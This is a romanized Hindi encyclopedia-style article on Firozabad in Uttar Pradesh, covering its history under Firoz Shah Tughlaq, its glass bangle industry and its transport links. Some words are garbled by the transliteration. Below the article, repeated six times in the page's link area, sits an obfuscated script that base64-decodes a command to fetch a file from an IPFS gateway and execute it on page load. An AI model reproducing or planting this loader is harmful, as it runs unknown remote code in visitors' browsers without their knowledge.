फ़िरोज़ाबाद
firozabad mugal kal se basa bharat ke uttar pradesh prant ka ek zila hai. yah shahar choo diyoan ke nirman ke liye mashahoor hai! yahi karan hai ki ise 'suhag ki nagari' bhi kaha jata hai. firozabad agara se 40 kilomitar aur rajadhani dilli se 250 kilomitar ki doori par poorab ki taraf sthit hai. uttar pradesh ki rajadhani lakhanoo bhi yahaan se lagabhag 250 kilomitar poorab ki or hi hai. phirozabad zile ke antargat do kasbe tooandala aur shikohabad ate haian. tooandala pashchim tatha shikohabad shahar ke poorab mean sthit haian.
itihas
firozabad ki sthapana sultan firozashah tugalak ne (1351-1388 ee.) mean apani rajadhani dilli se das mil ki doori par ki thi. yahi nam sultan ne 1353-1354 ee. mean bangal ki chadhaee ke dauran vahaan ke 'pahuancha nagar' ko bhi diya tha. sultan firoz kattar musalaman tha aur usane desh ka prashasan islam ke siddhantoan ke anuroop chalane ka prayas kiya. isake phalasvaroop hinduoan ko, jo bahumat mean the, bhari kathinaiyoan ka samana karana p da. unake dharmik utsavoan, sarvajanik sabhaoan aur pooja-path adi par pratibandh lagaya gaya.
is dharmik kattarata ke bavajood bhi firoz udar shasak tha. usane anek kashtadayi aur anuchit karoan ko samapt kiya, yadyapi brahmanoan par bhi jajiya kar thopa gaya, jo ki abhi tak isase mukt the. usane sianchaee ke kary ko protsahan diya, jaunapur sahit kee nagaroan ki sthapana ki, anek bag-bagichoan ko lagaya aur vahaan par tamam maszidoan ka nirman karaya. usane aang-bhang jaise kathor dandoan ko samapt kiya aur ek dharmarth chikitsalay ki sthapana ki. jahaan rogiyoan ko davaean aur bhojan muft diya jata tha. usaka shasan kathor nahian tha. chizoan ki qimat kam thi aur log shanti se rahate the.
udyog
firozabad mean bharat ki sabase adhik kaanch ki choo diyaan, sajavat ki kaanch ki vastuean, vaijnanik upakaran, balb adi banaye jate haian. yahaan par choo diyoan ka vyavasay mukhyat: hota hai. yahaan par rang-birangi choo diyoan ki dukanean charoan or dikhaee deti haian. gharoan ke andar mahilaean bhi choodiyoan par p aaulish lagakar rozagar arjit kar leti haian. bharat mean kaanch ka sarvadhik saman firozabad namak chhote se shahar mean banaya jata hai. is shahar ke adhikaansh log kaanch ke kisi n kisi saman ke nirman se ju de udyam mean lage haian. rangin kaanch ko galane ke bad use khianchakar tar ke saman banaya jata hai aur ek belanakar dhaanche par kuandali ke akar mean lapeta jata hai. spriang ke saman dikhane vali is sanrachana ko kat kar khule siroan vali choo diyaan taiyar kar li jatian haian. ab in khule siroan vali choo diyoan ke vidhipoorvak n sirf ye sire jo de jate haian, balki choo diyaan ekaroop bhi ki jati haian, taki ju de siroan par kaanch ka koee tuk da nikala n rah jaye. yah ek dhimi prakriya hai, jisamean kaanch ko garm v thanda karana p data hai.
parivahan
firozabad agara aur itava ke bich pramukh relave jankshan hai. isake atirikt yahaan basean, aauto-riksha tatha taiksi adi bhi parivahan ke pramukh sadhan haian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>